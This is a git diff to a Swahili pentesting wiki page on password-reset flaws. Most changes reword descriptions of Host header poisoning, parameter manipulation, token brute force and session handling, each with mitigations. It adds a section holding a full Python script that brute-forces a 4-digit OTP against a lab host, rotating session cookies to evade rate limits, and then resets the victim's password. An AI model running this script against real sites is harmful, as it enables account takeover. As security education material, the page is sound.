diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 610d50a5b..6b843bce9 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -17,9 +17,9 @@ - Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya. - **Impact**: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji. - **Mitigation Steps**: -- Thibitisha header ya Host dhidi ya orodha ya domain zilizoruhusiwa. +- Thibitisha header ya Host dhidi ya orodha ya domain zinazoruhusiwa. - Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili. -- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kuunda URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`. +- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kujenga URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`. - **References**: - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) @@ -70,9 +70,9 @@ POST /resetPassword {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Hatua za Kupunguza**: -- Pitia na kuthibitisha ipasavyo vigezo vya barua pepe upande wa seva. -- Tumia taarifa zilizopangwa au maswali yenye vigezo ili kuzuia mashambulizi ya kuingiza. -- **Marejeleo**: +- Pitia na kuthibitisha vigezo vya barua pepe upande wa seva. +- Tumia taarifa zilizopangwa au maswali yaliyopangwa ili kuzuia mashambulizi ya kuingiza. +- **Marejeo**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) @@ -86,14 +86,14 @@ POST /api/changepass ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Hatua za Kupunguza**: -- Hakikisha uthibitisho mkali wa vigezo na ukaguzi wa uthibitisho. -- Tekeleza ufuatiliaji na uandishi wa habari thabiti ili kugundua na kujibu shughuli za kushuku. +- Hakikisha uthibitisho wa vigezo na ukaguzi wa uthibitisho ni mkali. +- Tekeleza ufuatiliaji na uandishi wa habari wenye nguvu ili kugundua na kujibu shughuli za kushuku. - **Marejeo**: - [Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu** -- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe ya kumbukumbu, ikimzidisha mtumiaji barua pepe za kurekebisha. +- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe nyingi, kumshughulisha mtumiaji na barua pepe za kurekebisha. - **Hatua za Kupunguza**: - Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji. - Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki. @@ -110,43 +110,43 @@ POST /api/changepass - Kulingana na Tarehe ya Kuzaliwa - Kulingana na Cryptography - **Hatua za Kupunguza**: -- Tumia mbinu thabiti za kijasusi kwa uzalishaji wa token. -- Hakikisha kutokuwa na utabiri na urefu wa kutosha kuzuia utabiri. -- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na utabiri kwa token. +- Tumia njia za nguvu, za kisasa za uzalishaji wa token. +- Hakikisha kuna kutokuwa na mpangilio wa kutosha na urefu ili kuzuia kutabirika. +- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na mpangilio kwa token. ## **UUID Inayoweza Kukisiwa** -- Ikiwa UUIDs (toleo la 1) zinaweza kukisiwa au kutabiriwa, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia: +- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabirika, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia: {{#ref}} uuid-insecurities.md {{#endref}} - **Hatua za Kupunguza**: -- Tumia toleo la GUID 4 kwa kutokuwa na utabiri au tekeleza hatua za ziada za usalama kwa matoleo mengine. +- Tumia toleo la GUID 4 kwa kutokuwa na mpangilio au tekeleza hatua za ziada za usalama kwa toleo zingine. - **Zana**: Tumia [guidtool](https://github.com/intruder-io/guidtool) kwa uchambuzi na uzalishaji wa GUIDs. -## **Manipulering ya Jibu: Badilisha Jibu Mbaya na Jibu Nzuri** +## **Manipulering ya Majibu: Badilisha Jibu Mbaya na Jibu Nzuri** - Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi. - **Hatua za Kupunguza**: -- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uadilifu wa jibu. +- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa majibu. - Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati. - **Marejeo**: - [Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) -## **Kutumia Token Iliyokwisha** +## **Kutumia Token Iliyokwisha Muda** -- Kuangalia ikiwa token zilizokwisha zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri. +- Kuangalia ikiwa token zilizokwisha muda zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri. - **Hatua za Kupunguza**: -- Tekeleza sera kali za kuisha kwa token na kuthibitisha kuisha kwa token upande wa seva. +- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva. -## **Token ya Kurekebisha Nenosiri kwa Njia ya Nguvu** +## **Jaribio la Nenosiri la Kurekebisha Token** -- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango kulingana na IP. +- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango vya IP. - **Hatua za Kupunguza**: -- Tekeleza kizuizi thabiti cha kiwango na mifumo ya kufunga akaunti. -- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya nguvu. +- Tekeleza kizuizi cha kiwango chenye nguvu na mifumo ya kufunga akaunti. +- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu. ## **Jaribu Kutumia Token Yako** @@ -154,17 +154,81 @@ uuid-insecurities.md - **Hatua za Kupunguza**: - Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji. -## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri** +## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri** -- Hakikisha kwamba vikao vinatolewa wakati mtumiaji anapotoka au kurekebisha nenosiri lake. +- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri yao. - **Hatua za Kupunguza**: -- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinatolewa wakati wa kutoka au kurekebisha nenosiri. +- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri. -## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri** +## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri** -- Token za kurekebisha zinapaswa kuwa na muda wa kuisha baada ya hapo zinakuwa batili. +- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa zisizo halali. - **Hatua za Kupunguza**: -- Weka muda wa kuisha unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva. +- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva. + +## **Kizuizi cha kiwango cha OTP kwa kubadilisha kikao chako** + +- Ikiwa tovuti inatumia kikao cha mtumiaji kufuatilia majaribio mabaya ya OTP na OTP ilikuwa dhaifu ( <= 4 digits) basi tunaweza kwa ufanisi kujaribu nguvu OTP. +- **kuvamia**: +- omba tu token mpya ya kikao baada ya kuzuia na seva. +- **Mfano** wa msimbo unaovamia kosa hili kwa kukisia kwa bahati nasibu OTP (unapobadilisha kikao, OTP itabadilika pia, na hivyo hatutakuwa na uwezo wa kujaribu nguvu kwa mpangilio!): + +``` python +# Uhamasishaji wa uthibitisho kwa kurekebisha nenosiri +# na coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Kuanzisha shambulio!") +sleep(3) +print("[+] Hii inaweza kuchukua takriban dakika 5 kumaliza!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nambari ya bahati nasibu kutoka 0 - 9999 na 4 d +parms["s"] = 164 # si muhimu inathiri tu mbele +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # fuata idadi ya majaribio +out = requests.get(logout,headers=headers) # kukutoa +mainp = requests.get(root) # inapata phpssid nyingine (token) + +cookies = out.cookies # toa sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" #sasisha vichwa na kikao kipya + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # inatuma barua pepe kubadilisha nenosiri kwa +ter = 0 # rejesha ter ili tupate kikao kipya baada ya majaribio 8 +else: +ter += 1 +if(len(res.text) == 2292): # hii ni urefu wa ukurasa unapopata nambari ya urejelezi kwa usahihi (imepata kwa majaribio) +print(len(res.text)) # kwa habari ya debug +print(phpsessid) + +reset_data = { # hapa tutabadilisha nenosiri kuwa kitu kipya +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] Nenosiri limebadilishwa kuwa:D37djkamd!") +break +except Exception as e: +print("[+] Shambulio limekoma") +``` ## Marejeo